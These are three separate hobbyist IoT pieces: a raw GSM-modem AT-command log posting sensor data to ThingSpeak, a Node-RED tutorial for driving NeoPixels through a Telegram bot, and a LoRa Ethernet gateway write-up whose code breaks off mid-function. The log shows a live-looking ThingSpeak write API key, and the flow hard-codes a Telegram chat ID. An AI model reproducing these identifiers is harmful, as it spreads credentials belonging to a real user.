AT+CIPSTART="TCP","api.thingspeak.com","80"<CR> OK CONNECT OK<CR>AT+CIPSEND<CR>GET https://api.thingspeak.com/update?api_key=5XC1TCVONJVK1PNN&field1=20.00&field2=10.00 GET https://api.thingspeak.com/update?api_key=5XC1TCVONJVK1PNN&<SUB> SEND OK 6 CLOSED <CR>AT+CIPSHUT<CR>Temperature = 20.00 °C Humidity = 10.00 % SHUT OK AT<CR> OK AT+CPIN?<CR> +CPIN: READY OK AT+CREG?<CR> +CAT+CSTT="airtelgprs.com"<CR> OK AT+CIICR<CR> OK AT+CIFSR<CR> 100.90.199.122 AT+CIPSPRT=0<CR> OK AT+CIPSTART="TCP","api.thingspeak.com","80"<CR> OK CONNECT OK<CR>AT+CIPSEND<CR>GET https://api.thingspeak.com/update?api_key=5XC1TCVONJVK1PNN&field1=20.00&field2=10.00 GET https://api.thingspeak.com/update?api_key=5XC1TCVONJVK1PNN&<SUB> SEND OK 7 CLOSED <CR>AT+CIPSHUT<CR>Temperature = 20.00 °C Humidity = 10.00 % SHUT OK AT<CR> OK AT+CPIN?<CR> +CPIN: READY OK AT+CREG?<CR> +CAT+CSTT="airtelgprs.com"<CR> OK AT+CIICR<CR> OK AT+CIFSR<CR> 100.102.108.63 AT+CIPSPRT=0<CR> OK AT+CIPSTART="TCP","api.thingspeak.com","80"<CR> OK CONNECT OK<CR>AT+CIPSEND<CR>GET https://api.thingspeak.com/update?api_key=5XC1TCVONJVK1PNN&field1=20.00&field2=10.00 GET https://api.thingspeak.com/update?api_key=5XC1TCVONJVK1PNN&<SUB> SEND OK 8 CLOSED
-
Telegram is a popular messaging app that offers end-to-end encryption, cloud-based storage, and a variety of features for communication. One of these features is the ability to create and interact with bots, which are automated programs that can perform tasks or provide information. In this blog post, I will show you how to use Telegram bots to control your home automation system with Node-RED, a visual programming tool that allows you to connect and orchestrate devices, services, and APIs. Get PCBs For Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Also, check out this useful blog on PCBWay Plugin for KiCad from here. Using this plugin, you can directly order PCBs in just one click after completing your design in KiCad. 1. What You Need: To follow this tutorial, you will need: A Telegram account and a smartphone with the Telegram app installed. A Node-RED instance running on a device that can access your home automation system. You can use a Raspberry Pi, a computer, or a cloud service. For more information on how to install and run Node-RED, see here. The node-red-contrib-telegrambot node provides Telegram bot nodes for Node-RED. You can install it from the Node-RED palette manager or by running the following command in your Node-RED directory: npm install node-red-contrib-telegrambot A Telegram bot token is a unique identifier for your bot. You can create a bot and get its token by talking to the @BotFather bot on Telegram. For more details. A chat ID is a unique identifier for the chat between you and your bot. You can get your chat ID by sending a message to your bot. 2. How It Works: The basic idea is to use Node-RED to create a flow that receives messages from your Telegram bot, parses them to extract commands or queries, and then sends commands or responses back to your bot. The node-red-contrib-telegrambot node provides two main nodes for this purpose: the receiver node and the sender node. The receiver node listens for messages from your bot and outputs a message object with the following properties: msg.payload.chatId: The chat ID of the sender. msg.payload.type: The type of the message, such as “message”, “photo”, “location”, etc. msg.payload.content: The content of the message, such as a text string, a file ID, or an object with additional data. The sender node takes a message object as input and sends it to your bot. The message object should have the following properties: msg.payload.chatId: The chat ID of the recipient. msg.payload.type: The type of the message, such as “message”, “photo”, “location”, etc. msg.payload.content: The content of the message, such as a text string, a file ID, or an object with additional data. You can use other nodes in between the receiver and sender nodes to process the messages and perform actions on your home automation system. For example, you can use a switch node to route messages based on their type or content, a function node to write custom logic in JavaScript, or an HTTP request node to call external APIs. 3. A little recap of the previous blog: In the previous blog, we have seen how to use the telegram bot with node-red to trigger the temperature data. In this blog, we are going to see how to automate and trigger the Telegram bot to control the GPIO. 4. Telegram to Node-Red: In the last article, we have seen how to trigger the sensor readings from Node-Red to Telegram, now let's see how to trigger and get the sensor data from Telegram Bot. First, we need to use the telegram receiver node. And configure the node with your bot credentials. Then add a debug block. Next, just try to send some messages to your bot and look at the response in the debug console. Now, you can see your texts are coming under payload.content. So, we are going to filter the content then based on the content we are going to trigger the actions. Here are my complete blocks. In this, I have tried to filter the contents as Green, Red, Blue, Off, and Env. Based on the contents we are going to trigger the neo pixels with certain colors. Finally, just deploy the flow, open the telegram bot, and test out the connections. Let's try out the neo pixels. [ { "id": "eb8f9c0d054be30c", "type": "tab", "label": "Flow 2", "disabled": false, "info": "", "env": [] }, { "id": "ea63aa67.c972f", "type": "template", "z": "eb8f9c0d054be30c", "name": "", "field": "payload", "fieldType": "msg", "format": "handlebars", "syntax": "mustache", "template": "{\"chatId\": 5379039379,\n\"type\":\"message\",\n\"content\":\"Temperature : {{payload}}, Humidity : {{humidity}}\"}", "output": "json", "x": 660, "y": 360, "wires": [ [ "9e00d0a7.d5ccf", "600063bd96d765e6" ] ] }, { "id": "9e00d0a7.d5ccf", "type": "debug", "z": "eb8f9c0d054be30c", "name": "", "active": true, "tosidebar": true, "console": false, "tostatus": false, "complete": "payload", "targetType": "msg", "statusVal": "", "statusType": "auto", "x": 830, "y": 300, "wires": [] }, { "id": "600063bd96d765e6", "type": "telegram sender", "z": "eb8f9c0d054be30c", "name": "roboerto_bot", "bot": "ae1a60539b8e5308", "haserroroutput": true, "outputs": 2, "x": 830, "y": 380, "wires": [ [], [] ] }, { "id": "f2f9819ae972ae60", "type": "rpi-dht22", "z": "eb8f9c0d054be30c", "name": "", "topic": "rpi-dht22", "dht": "11", "pintype": 1, "pin": "7", "x": 500, "y": 380, "wires": [ [ "ea63aa67.c972f" ] ] }, { "id": "e4b8f2dd860a7973", "type": "telegram receiver", "z": "eb8f9c0d054be30c", "name": "", "bot": "ae1a60539b8e5308", "saveDataDir": "", "filterCommands": false, "x": 290, "y": 200, "wires": [ [ "ea58984a24ea493e" ], [] ] }, { "id": "ea58984a24ea493e", "type": "switch", "z": "eb8f9c0d054be30c", "name": "", "property": "payload.content", "propertyType": "msg", "rules": [ { "t": "eq", "v": "Green", "vt": "str" }, { "t": "eq", "v": "Red", "vt": "str" }, { "t": "eq", "v": "Off", "vt": "str" }, { "t": "eq", "v": "Blue", "vt": "str" }, { "t": "eq", "v": "Env", "vt": "str" }, { "t": "eq", "v": "Rainbow", "vt": "str" } ], "checkall": "true", "repair": false, "outputs": 6, "x": 450, "y": 140, "wires": [ [ "b410ed94340bb528" ], [ "13aa73e421c429c7" ], [ "4ed36e19be451327" ], [ "db816a1f10392614" ], [ "f2f9819ae972ae60" ], [] ] }, { "id": "b0edb6e1c2807920", "type": "rpi-neopixels", "z": "eb8f9c0d054be30c", "name": "Neo Pixel", "gpio": "18", "pixels": "8", "bgnd": "", "fgnd": "", "wipe": "60", "mode": "pixels", "rgb": "rgb", "brightness": "100", "gamma": true, "x": 660, "y": 100, "wires": [] }, { "id": "13aa73e421c429c7", "type": "function", "z": "eb8f9c0d054be30c", "name": "Red Led", "func": "\nmsg.payload = \"255,0,0\"\nreturn msg;\n\n\n", "outputs": 1, "timeout": "", "noerr": 0, "initialize": "", "finalize": "", "libs": [], "x": 660, "y": 200, "wires": [ [ "b0edb6e1c2807920", "0d73aa1efdf96848" ] ] }, { "id": "b410ed94340bb528", "type": "function", "z": "eb8f9c0d054be30c", "name": "Green Led", "func": "\nmsg.payload = \"0,255,0\"\nreturn msg;\n\n\n", "outputs": 1, "timeout": "", "noerr": 0, "initialize": "", "finalize": "", "libs": [], "x": 670, "y": 160, "wires": [ [ "b0edb6e1c2807920", "c173db3cc3868fe8" ] ] }, { "id": "4ed36e19be451327", "type": "function", "z": "eb8f9c0d054be30c", "name": "Off", "func": "\nmsg.payload = \"0,0,0\"\nreturn msg;\n\n\n", "outputs": 1, "timeout": "", "noerr": 0, "initialize": "", "finalize": "", "libs": [], "x": 650, "y": 240, "wires": [ [ "b0edb6e1c2807920", "02e43d4dd4523371" ] ] }, { "id": "db816a1f10392614", "type": "function", "z": "eb8f9c0d054be30c", "name": "Blue Led", "func": "\nmsg.payload = \"0,0,255\"\nreturn msg;\n\n\n", "outputs": 1, "timeout": "", "noerr": 0, "initialize": "", "finalize": "", "libs": [], "x": 660, "y": 280, "wires": [ [ "b0edb6e1c2807920", "15dcd2ff9b951c47" ] ] }, { "id": "c173db3cc3868fe8", "type": "template", "z": "eb8f9c0d054be30c", "name": "", "field": "payload", "fieldType": "msg", "format": "handlebars", "syntax": "mustache", "template": "{\"chatId\": 5379039379,\n\"type\":\"message\",\n\"content\":\"Green LED Triggered\"}", "output": "json", "x": 860, "y": 80, "wires": [ [ "62f3360544d9ca11", "4abe16519bcdcaca" ] ] }, { "id": "62f3360544d9ca11", "type": "debug", "z": "eb8f9c0d054be30c", "name": "", "active": true, "tosidebar": true, "console": false, "tostatus": false, "complete": "payload", "targetType": "msg", "statusVal": "", "statusType": "auto", "x": 1030, "y": 80, "wires": [] }, { "id": "4abe16519bcdcaca", "type": "telegram sender", "z": "eb8f9c0d054be30c", "name": "roboerto_bot", "bot": "ae1a60539b8e5308", "haserroroutput": true, "outputs": 2, "x": 1030, "y": 120, "wires": [ [], [] ] }, { "id": "0d73aa1efdf96848", "type": "template", "z": "eb8f9c0d054be30c", "name": "", "field": "payload", "fieldType": "msg", "format": "handlebars", "syntax": "mustache", "template": "{\"chatId\": 5379039379,\n\"type\":\"message\",\n\"content\":\"Red LED Triggered\"}", "output": "json", "x": 860, "y": 120, "wires": [ [ "4795fb81ce5c47a6", "12c1a78b02583d94" ] ] }, { "id": "4795fb81ce5c47a6", "type": "debug", "z": "eb8f9c0d054be30c", "name": "", "active": true, "tosidebar": true, "console": false, "tostatus": false, "complete": "payload", "targetType": "msg", "statusVal": "", "statusType": "auto", "x": 1030, "y": 180, "wires": [] }, { "id": "12c1a78b02583d94", "type": "telegram sender", "z": "eb8f9c0d054be30c", "name": "roboerto_bot", "bot": "ae1a60539b8e5308", "haserroroutput": true, "outputs": 2, "x": 1030, "y": 220, "wires": [ [], [] ] }, { "id": "15dcd2ff9b951c47", "type": "template", "z": "eb8f9c0d054be30c", "name": "", "field": "payload", "fieldType": "msg", "format": "handlebars", "syntax": "mustache", "template": "{\"chatId\": 5379039379,\n\"type\":\"message\",\n\"content\":\"Blue LED Triggered\"}", "output": "json", "x": 860, "y": 160, "wires": [ [ "751fda5416547778", "46ea1f39f11d1b65" ] ] }, { "id": "751fda5416547778", "type": "debug", "z": "eb8f9c0d054be30c", "name": "", "active": true, "tosidebar": true, "console": false, "tostatus": false, "complete": "payload", "targetType": "msg", "statusVal": "", "statusType": "auto", "x": 1030, "y": 280, "wires": [] }, { "id": "46ea1f39f11d1b65", "type": "telegram sender", "z": "eb8f9c0d054be30c", "name": "roboerto_bot", "bot": "ae1a60539b8e5308", "haserroroutput": true, "outputs": 2, "x": 1030, "y": 320, "wires": [ [], [] ] }, { "id": "02e43d4dd4523371", "type": "template", "z": "eb8f9c0d054be30c", "name": "", "field": "payload", "fieldType": "msg", "format": "handlebars", "syntax": "mustache", "template": "{\"chatId\": 5379039379,\n\"type\":\"message\",\n\"content\":\"LED Off\"}", "output": "json", "x": 860, "y": 220, "wires": [ [ "e9aaa495e9c42799", "0730f1a37c585783" ] ] }, { "id": "e9aaa495e9c42799", "type": "debug", "z": "eb8f9c0d054be30c", "name": "", "active": true, "tosidebar": true, "console": false, "tostatus": false, "complete": "payload", "targetType": "msg", "statusVal": "", "statusType": "auto", "x": 1030, "y": 380, "wires": [] }, { "id": "0730f1a37c585783", "type": "telegram sender", "z": "eb8f9c0d054be30c", "name": "roboerto_bot", "bot": "ae1a60539b8e5308", "haserroroutput": true, "outputs": 2, "x": 1030, "y": 420, "wires": [ [], [] ] }, { "id": "e30abb1d7e9afcb0", "type": "inject", "z": "eb8f9c0d054be30c", "name": "Green", "props": [ { "p": "payload" }, { "p": "topic", "vt": "str" } ], "repeat": "", "crontab": "", "once": false, "onceDelay": 0.1, "topic": "", "payload": "", "payloadType": "date", "x": 290, "y": 280, "wires": [ [ "b410ed94340bb528" ] ] }, { "id": "4a2a01d9556ad50f", "type": "inject", "z": "eb8f9c0d054be30c", "name": "Blue", "props": [ { "p": "payload" }, { "p": "topic", "vt": "str" } ], "repeat": "", "crontab": "", "once": false, "onceDelay": 0.1, "topic": "", "payload": "", "payloadType": "date", "x": 290, "y": 360, "wires": [ [ "db816a1f10392614" ] ] }, { "id": "3f3ce5ea96251201", "type": "inject", "z": "eb8f9c0d054be30c", "name": "Red", "props": [ { "p": "payload" }, { "p": "topic", "vt": "str" } ], "repeat": "", "crontab": "", "once": false, "onceDelay": 0.1, "topic": "", "payload": "", "payloadType": "date", "x": 290, "y": 320, "wires": [ [ "13aa73e421c429c7" ] ] }, { "id": "3f2c1cebdde09f03", "type": "inject", "z": "eb8f9c0d054be30c", "name": "Off", "props": [ { "p": "payload" }, { "p": "topic", "vt": "str" } ], "repeat": "", "crontab": "", "once": false, "onceDelay": 0.1, "topic": "", "payload": "", "payloadType": "date", "x": 290, "y": 400, "wires": [ [ "4ed36e19be451327" ] ] }, { "id": "26b87a7af5f875cc", "type": "inject", "z": "eb8f9c0d054be30c", "name": "Env", "props": [ { "p": "payload" }, { "p": "topic", "vt": "str" } ], "repeat": "", "crontab": "", "once": false, "onceDelay": 0.1, "topic": "", "payload": "", "payloadType": "date", "x": 290, "y": 440, "wires": [ [ "f2f9819ae972ae60" ] ] }, { "id": "ae1a60539b8e5308", "type": "telegram bot", "botname": "roboerto_bot", "usernames": "", "chatids": "", "baseapiurl": "", "updatemode": "polling", "pollinterval": "300", "usesocks": false, "sockshost": "", "socksprotocol": "socks5", "socksport": "6667", "socksusername": "anonymous", "sockspassword": "", "bothost": "", "botpath": "", "localbotport": "8443", "publicbotport": "8443", "privatekey": "", "certificate": "", "useselfsignedcertificate": false, "sslterminated": false, "verboselogging": false } ] 5. Conclusion: In this blog post, I showed you how to use Telegram bots to control your home automation system with Node-RED. You can use this method to create your own custom interface for your smart home devices and services. You can also extend the functionality of your bot by adding more nodes and logic to your flow. For example, you can use the command node to create custom commands with parameters, the callback query node to handle inline buttons, or the answer inline query node to provide suggestions. You can also use other nodes from the node-red-contrib-telegrambot package or other Node-RED packages to integrate with more Telegram features or other platforms. I hope you enjoyed this tutorial and learned something new. If you have any questions or feedback, please leave a comment below. Happy coding!
-
The project titled "Ethernet-Enhanced LoRa Gateway: Minimizing Delay, Maximizing Security" focuses on the development of a LoRa (Long Range) gateway with Ethernet connectivity. This gateway serves as a critical link between IoT devices and the internet, providing two key advantages: Low Latency: By utilizing Ethernet, the gateway minimizes data transmission delay, ensuring that IoT data is transmitted quickly and efficiently. This is crucial for real-time or time-sensitive applications. Enhanced Security: The project emphasizes robust security measures to protect IoT data. Ethernet connections can be secured with standard network security protocols, ensuring the integrity and confidentiality of transmitted data. In summary, this project aims to create a high-performance LoRa gateway that optimizes data transfer speed and prioritizes data security, making it ideal for a wide range of IoT applications where low latency and data protection are paramount. In this project, I am creating a LoRa Gateway using Ethernet. The project consists of a LoRa Transmitter and LoRa gateway section. Get PCBs For Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Also, check out this useful blog on PCBWay Plugin for KiCad from here. Using this plugin, you can directly order PCBs in just one click after completing your design in KiCad. LoRa Transmitter In the transmitter part of the system the following blocks are utilized : Sensor Array: The transmitter is equipped with various sensors, including a temperature sensor(SI7051) for environmental data and accelerometers and gyroscopes(MPU6050) for motion sensing. These sensors continuously collect data. Microcontroller: The microcontroller (XIAO SAMD21)processes the sensor data, monitoring both temperature variations and changes in the device's orientation or position. LoRa Transmitter: Upon detecting a significant change in position, the microcontroller triggers the LoRa transmitter (WIO E5)to send an alert message. This message includes the altered position information and the concurrently recorded temperature data. Power Source: The transmitter operates on a power-efficient setup, utilizing two AA-size batteries that provide power for an extended period, typically lasting several months. The primary purpose of this transmitter is to collect sensor data, detect substantial changes in position, and efficiently transmit alert messages containing both positional and temperature information via LoRa technology. This design ensures long-lasting operation without frequent battery replacements, making it suitable for remote or unattended applications. Block Diagram Of Transmitter Connection Diagram Of The Transmitter Transmitter Part Code #include <Arduino.h> #include <Wire.h> #include "ClosedCube_Si7051.h" #include "MPU6050.h" ClosedCube_Si7051 si7051; MPU6050 accelgyro; #if I2CDEV_IMPLEMENTATION == I2CDEV_ARDUINO_WIRE #include "Wire.h" #endif int data1=0; int data2=0; int data3=0; int data4=0; int16_t ax, ay, az; int16_t gx, gy, gz; #define OUTPUT_READABLE_ACCELGYRO static char recv_buf[512]; static bool is_exist = false; int a_x,a_y,a_z; static int at_send_check_response(char *p_ack, int timeout_ms, char *p_cmd, ...) { int ch = 0; int index = 0; int startMillis = 0; va_list args; memset(recv_buf, 0, sizeof(recv_buf)); va_start(args, p_cmd); Serial1.printf(p_cmd, args); Serial.printf(p_cmd, args); va_end(args); delay(200); startMillis = millis(); if (p_ack == NULL) { return 0; } do { while (Serial1.available() > 0) { ch = Serial1.read(); recv_buf[index++] = ch; Serial.print((char)ch); delay(2); } if (strstr(recv_buf, p_ack) != NULL) { return 1; } } while (millis() - startMillis < timeout_ms); return 0; } static int node_send(uint32_t timeout) { static uint16_t count = 0; int ret = 0; char data[32]; char cmd[128]; memset(data, 0, sizeof(data)); sprintf(data, "%04X,%04X,%04X,%04X", data1, data2, data3,data4); sprintf(cmd, "AT+TEST=TXLRPKT,\"5345454544%s\"\r\n", data); ret = at_send_check_response("TX DONE", 2000, cmd); if (ret == 1) { Serial.print("Sent successfully!\r\n"); } else { Serial.print("Send failed!\r\n"); } data1 = si7051.readTemperature(); data2 = a_z; return ret; } void setup(void) { Serial.begin(115200); si7051.begin(0x40); // default I2C address is 0x40 and 14-bit measurement resolution Serial1.begin(9600); #if I2CDEV_IMPLEMENTATION == I2CDEV_ARDUINO_WIRE Wire.begin(); #elif I2CDEV_IMPLEMENTATION == I2CDEV_BUILTIN_FASTWIRE Fastwire::setup(400, true); #endif accelgyro.initialize(); uint16_t error; char errorMessage[256]; if (at_send_check_response("+AT: OK", 100, "AT\r\n")) { is_exist = true; at_send_check_response("+MODE: TEST", 1000, "AT+MODE=TEST\r\n"); at_send_check_response("+TEST: RFCFG", 1000, "AT+TEST=RFCFG,866,SF12,125,12,15,14,ON,OFF,OFF\r\n"); delay(200); } else { is_exist = false; Serial.print("No E5 module found.\r\n"); } } void loop(void) { accelgyro.getMotion6(&ax, &ay, &az, &gx, &gy, &gz); Serial.print("Sensor data"); Serial.print(ax); Serial.print(","); Serial.print(ay); Serial.print(","); Serial.print(az); Serial.println(); a_x = (ax+ay+az); a_y = sqrt(a_x); a_z = ((az)/ay); Serial.print("x:"); Serial.print(a_z); Serial.println(); if (is_exist) { node_send(2000); delay(500); } } Gateway Using Wiznet W5300 And STM NUCLEO 144 Within the Gateway component, the LoRa receiver efficiently captures incoming data packets. Subsequently, the microcontroller orchestrates intricate data processing operations, encompassing data analysis, transformation, and synthesis. The refined data is then rendered on an OLED Display, a graphical interface for visualizing pertinent information. Simultaneously, a parallel data stream leverages Ethernet connectivity to effectuate the seamless transmission of this processed data to remote Blynk cloud servers. This bidirectional data channel enables real-time data synchronization and remote telemetry visualization via a dedicated Android application. The Android application is endowed with the capability to graphically represent key telemetry metrics, including environmental temperature, precise transmitter geolocation coordinates, the Received Signal Strength Indicator (RSSI), and comprehensive status updates pertaining to both transmitter and receiver connections. In addition to the observational aspect, the Android application provides the user with interactive control capabilities over various appliances interconnected to the Gateway via relay switches. These controls are seamlessly integrated, allowing the user to command and manipulate device states through intuitive in-app buttons. This meticulously engineered technical architecture facilitates robust data processing, transmission, and remote management capabilities, culminating in an immersive user experience characterized by comprehensive data visualization and seamless device control via the Android application. Before Interfacing the Nucleo Boards with the Wiznet ToE W5300 Make Sure the following changes have been applied. The ST-LINK pin configuration had to be modified to address potential interference issues caused by the concurrent use of FMC (Flexible Memory Controller) data pins to control the W5300 integrated within the W5300 TOE Shield and the ST-LINK pins on the STM32 Nucleo-144 board. 1. Remove SB5 and SB6 from the top of the STM32 Nucleo-144 board. 2. When combining the W5300 TOE Shield with the STM32 Nucleo-144 board, establish connections using jumper cables as follows: Connect PC10 on the W5300 TOE Shield to the RX (Receive) pin on the STM32 Nucleo-144 board. Connect PC11 on the W5300 TOE Shield to the TX (Transmit) pin on the STM32 Nucleo-144 board. These connections establish the necessary communication link between the W5300 TOE Shield and the STM32 Nucleo-144 board, allowing data to be exchanged between the two components. Check the link to learn the pin configuration of NUCLEO Boards with Ethernet. https://github.com/ARMmbed/mbed-os/blob/master/targets/TARGET_STM/TARGET_STM32F2/TARGET_STM32F207xG/TARGET_NUCLEO_F207ZG/PinNames.h The provided pin configuration indicates that certain UART (Universal Asynchronous Receiver-Transmitter) interfaces on the Nucleo 144 Boards share connections with the Ethernet hardware. Consequently, both hardware and software aspects must be adapted to accommodate this shared resource configuration. From a hardware perspective, special attention must be given to the physical wiring and connectivity to ensure that both the UART interfaces and Ethernet hardware coexist without conflicts. This may involve the use of multiplexers, level shifters, or other hardware components to manage the shared resources effectively. In the software domain, the firmware and software applications running on the microcontroller should be modified to account for the shared UART and Ethernet resources. This could include implementing protocols or routines that coordinate the usage of these shared resources, preventing contention, and ensuring proper data transfer and communication. Overall, managing shared hardware resources on the Nucleo 144 Boards requires careful consideration and integration at both the hardware and software levels to ensure seamless and reliable operation of both UART and Ethernet functionalities. Pinout Of Wiznet W5300 TOE Shield Step 1: Install Required Arduino Libraries and Boards Files In the Arduino IDE, follow these steps to add an additional board manager URL: 1. Open the Arduino IDE on your computer. 2. Go to the "File" menu. 3. Select "Preferences" from the dropdown menu. 4. In the "Preferences" window, find the "Additional Boards Manager URLs" field. It's usually at the bottom of the window. 5. To add a new URL, click the icon on the right side of the field. It looks like a small button with an arrow pointing to the right. 6. A new window will appear where you can enter the URL. 7. Copy and paste the following URL into this field:https://github.com/stm32duino/BoardManagerFiles/raw/main/package_stmicroelectronics_index.json 8. Click the "OK" button to close the window. 9. Click the "OK" button in the "Preferences" window to save your changes and close it. Now, you have added the STM32 board manager URL, and you can proceed to install STM32 boards through the Arduino IDE's board manager. Step 2: To add the "Ethernet" and "FMC" libraries to your Arduino IDE, follow these steps: Download or clone the library repositories for "Ethernet" and "FMC" from their respective sources (GitHub or other repositories) to your computer. Locate the "libraries" folder within the "Arduino15" directory on your computer. The exact path may vary depending on your PC environment. It's usually in a location similar to this: makefile C:\Users\YOUR_NAME\AppData\Local\Arduino15\libraries Inside the "libraries" folder, create two new folders: one named "Ethernet" and the other named "FMC." Copy the contents of the downloaded or cloned "Ethernet" library repository into the "Ethernet" folder you created in the "libraries" directory. Similarly, copy the contents of the downloaded or cloned "FMC" library repository into the "FMC" folder you created in the "libraries" directory. After copying the library files into their respective folders, you should have a directory structure similar to this: Arduino15/libraries/Ethernet Arduino15/libraries/FMC Close and reopen the Arduino IDE to ensure that it recognizes the newly added libraries. Now, you should be able to use the "Ethernet" and "FMC" libraries in your Arduino sketches for your STM32 project. Step 3: To install the STM32 core library and configure the board settings for your STM32 Nucleo-144 board in the Arduino IDE, follow these steps: 1. Open the Arduino IDE on your computer. 2. In the Arduino IDE, go to the "Tools" menu. 3. Select the "Board" submenu. 4. Choose "Board Manager..." from the submenu. This will open the Arduino Board Manager. 5. In the "Board Manager, " type "STM32" in the search bar to filter the available packages. 6. Look for "STM32 Cores" in the list of available packages. 7. Click the "Install" button next to "STM32 Cores" to start the installation process. 8. Wait for the installation to complete. This might take a few minutes, depending on your internet connection speed. 9. Once the installation is finished, close the Arduino IDE and reopen it to ensure that the STM32 core libraries are properly recognized. 10. To configure the board settings for your STM32 Nucleo-144 board, go to the "Tools" menu again. 11. In the "Board" submenu, select "Nucleo-144" as your target board. With these steps completed, your Arduino IDE should be configured to work with STM32 microcontrollers, and you can select your specific STM32 Nucleo-144 board as the target for your projects. How To Use STM32F207ZG(NUCLEO-F207ZG) with Wiznet ToE 5300 in the Project Given the unavailability of the NUCLEO-F429ZI board, which is officially supported by the Wiznet W5300 library, it's prudent to consider alternative hardware options recommended by Wiznet. Here's a technical approach to finding suitable alternatives: 1. Review Wiznet's Compatibility Documentation: Carefully review Wiznet's official documentation, datasheets, and compatibility guides for the W5300 library. Look for mentions of compatible development boards, microcontrollers, or platforms that are recommended or certified for use with the W5300. 2. Check Microcontroller Compatibility: Verify if other STM32 microcontrollers are compatible with the W5300 library. Explore STM32 datasheets and reference manuals to identify microcontrollers with similar features and pin configurations as the NUCLEO-F429ZI. 3. Evaluate Hardware Availability: Investigate the current availability of alternative STM32 Nucleo boards or development kits that meet the compatibility criteria specified by Wiznet. Look for boards that offer Ethernet connectivity and support for the W5300 library. 4. Consider Evaluation Boards: Examine STM32 evaluation boards or development kits that include Ethernet connectivity. Some of these boards may align with Wiznet's recommendations and can be used as a suitable alternative to the NUCLEO-F429ZI. By following these technical steps, you can make an informed decision regarding alternative hardware that aligns with Wiznet's recommendations and allows you to proceed with your project while ensuring compatibility with the W5300 library. Wiznet W5300 Will work in the below listed Nucleo Boards NUCLEO-F207ZG NUCLEO-F429ZI NUCLEO-F439ZI NUCLEO-F722ZE NUCLEO-F756ZG NUCLEO-F767ZI We need to Add [SRAM Enable] to the config file in order to make Wiznet W5300 Work with STM32F207 Using Arduino Libraries. Open the stm32yyxx_hal_conf.h from the folderC:\Users\scarlet\AppData\Local\Arduino15\packages\STMicroelectronics\hardware\stm32\2.0.0\cores\arduino\stm32\stm32yyxx_hal_conf.h Add The Below line to the Code(Refer to the below-highlighted line to place )#define HAL_SRAM_MODULE_ENABLED Remove the existing FMC directory. C:\Users_YOUR_NAME_\AppData\Local\Arduino15\libraries\FMC Remove the existing FMC init code. C:\Users_YOUR_NAME_\AppData\Local\Arduino15\libraries\Ethernet\w5100.cpp FMC.init(); => //FMC.init(); successfully completed all the necessary configurations to enable the STM32F207 (NUCLEO-F207ZG) development board to operate seamlessly within the Arduino IDE environment. With this setup, we can now engage in advanced technical development, firmware programming, and deployment on the STM32F207 platform using the Arduino framework. In this project, I demonstrate the utilization of STM32F207 and STM32F429-based Nucleo Boards in conjunction with the Wiznet ToE 5300 Ethernet shield. since both boards' pin configurations are the same there are no changes in the Circuit diagram or In the connection diagram. Gateway Block diagram GatewayConnection Diagram Gateway with Relay control using Opto isolators Connection Diagram Picture of Components Used in the Project. STM32F207 (NUCLEO-F207ZG) development board with Wiznet W5300 Code For using STM32F207 (NUCLEO-F207ZG) development board in the project. #define BLYNK_PRINT Serial // Enables Serial Monitor /* Fill in information from Blynk Device Info here */ #define BLYNK_TEMPLATE_ID "XXXXXXXX" #define BLYNK_TEMPLATE_NAME "WIZNET TOE 5300" #define BLYNK_AUTH_TOKEN "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" #include <Arduino.h> #include "Ethernet.h" #include "HardwareSerial.h" #include <BlynkSimpleEthernet.h> #include "stm32f2xx_hal_sram.h" #include <Wire.h> #include <Adafruit_GFX.h> #include <Adafruit_SSD1306.h> #define W5x00_INT_Pin GPIO_PIN_8 #define W5x00_INT_GPIO_Port GPIOC #define W5x00_RST_Pin GPIO_PIN_9 #define W5x00_RST_GPIO_Port GPIOC #define SCREEN_WIDTH 128 // OLED display width, in pixels #define SCREEN_HEIGHT 64 // OLED display height, in pixels #define OLED_RESET 4 // Reset pin # (or -1 if sharing Arduino reset pin) Adafruit_SSD1306 display(SCREEN_WIDTH, SCREEN_HEIGHT, &Wire, OLED_RESET); /* Network Info */ #define SERVER_PORT 5000 #define MAX_CLIENT 8 int Relay = PA5; int humidity; HardwareSerial Serial5(UART5); EthernetServer server(SERVER_PORT); EthernetClient clients[MAX_CLIENT]; static char recv_buf[512]; static bool is_exist = false; BlynkTimer timer; WidgetLCD lcd(V4); WidgetLCD lcd2(V5); byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED}; IPAddress ip(192, 168, 137, 111); IPAddress myDns(8, 8, 8, 8); IPAddress gateway(192, 168, 137, 1); IPAddress subnet(255, 255, 255, 0); static void HAL_FSMC_MspInit(void){ GPIO_InitTypeDef GPIO_InitStruct ={0}; __HAL_RCC_GPIOD_CLK_ENABLE(); __HAL_RCC_GPIOE_CLK_ENABLE(); __HAL_RCC_GPIOF_CLK_ENABLE(); GPIO_InitStruct.Pin = GPIO_PIN_0|GPIO_PIN_1|GPIO_PIN_2|GPIO_PIN_3 |GPIO_PIN_4|GPIO_PIN_5|GPIO_PIN_12|GPIO_PIN_13 |GPIO_PIN_14|GPIO_PIN_15; GPIO_InitStruct.Mode = GPIO_MODE_AF_PP; GPIO_InitStruct.Pull = GPIO_NOPULL; GPIO_InitStruct.Speed = GPIO_SPEED_FREQ_VERY_HIGH; GPIO_InitStruct.Alternate = GPIO_AF12_FSMC; HAL_GPIO_Init(GPIOF, &GPIO_InitStruct); GPIO_InitStruct.Pin = GPIO_PIN_7|GPIO_PIN_8|GPIO_PIN_9|GPIO_PIN_10 |GPIO_PIN_11|GPIO_PIN_12|GPIO_PIN_13|GPIO_PIN_14 |GPIO_PIN_15; GPIO_InitStruct.Mode = GPIO_MODE_AF_PP; GPIO_InitStruct.Pull = GPIO_NOPULL; GPIO_InitStruct.Speed = GPIO_SPEED_FREQ_VERY_HIGH; GPIO_InitStruct.Alternate = GPIO_AF12_FSMC; HAL_GPIO_Init(GPIOE, &GPIO_InitStruct); GPIO_InitStruct.Pin = 